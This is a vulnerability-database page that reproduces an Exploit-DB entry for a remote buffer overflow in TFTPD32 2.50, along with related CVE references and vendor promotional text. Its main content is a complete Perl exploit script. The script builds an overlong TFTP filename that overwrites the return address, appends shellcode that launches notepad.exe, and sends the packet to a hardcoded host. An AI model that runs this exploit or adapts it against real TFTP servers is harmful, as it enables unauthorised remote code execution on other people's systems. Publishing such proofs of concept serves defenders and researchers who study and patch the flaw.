Lucene search
+L

TFTPD32 2.50 - 'Filename' Remote Buffer Overflow

🗓️ 19 Nov 2002 00:00:00Reported by Aviram JenikType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 23 Views

TFTP Server vulnerability allows remote code execution via buffer overflow with long filenames.

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2002-2226
20 Sep 201000:00
circl
cve
CVE
CVE-2002-2226
23 Sep 200723:00
cve
cvelist
Cvelist
CVE-2002-2226
23 Sep 200723:00
cvelist
exploitdb
Exploit DB
TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit)
20 Sep 201000:00
exploitdb
metasploit
Metasploit
TFTPD32 Long Filename Buffer Overflow
8 Jun 200619:19
metasploit
nvd
NVD
CVE-2002-2226
31 Dec 200205:00
nvd
packetstorm
Packet Storm
TFTPD32 <= 2.21 Long Filename Buffer Overflow
26 Nov 200900:00
packetstorm
redhatcve
RedhatCVE
CVE-2005-4882
21 May 202520:55
redhatcve
cert
CERT
Wyse Simple Imager (WSI) includes vulnerable versions of TFTPD32
19 Nov 200900:00
cert
source: https://www.securityfocus.com/bid/6199/info

A buffer-overflow vulnerability has been reported for Tftpd32. The vulnerability is due to insufficient checks on user-supplied input.

A remote attacker can exploit this vulnerability by supplying a long string as a name of the file to retrieve. This will trigger the buffer-overflow condition. Any malicious attacker-supplied code will be executed with the privileges of the Tftpd32 process.

#!/usr/bin/perl
#TFTP Server remote Buffer Overflow
use IO::Socket;
$host = "192.168.1.53";
$port = "69";
$data = "A";

#$buf .= "\x00\x02"; # Send ---- Choose one
$buf .= "\x00\x01"; # Recieve

$buf .= "A";
$num = "116";
$buf .= $data x $num;
$buf .= ".";
$num = "140"; # EIP section
$buf .= $data x $num;

$address = "\xFF\xFF\xFF\xFF";
$buf .= $address;

$egg = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

$egg .= "\x90\x90\x90\x90\x90\x90";
$buf .= $egg;

$buf .= "\x00binary\x00";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
$@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);
send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
$!\n";
print "Now, '$host' should open up a notepad\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.63478
23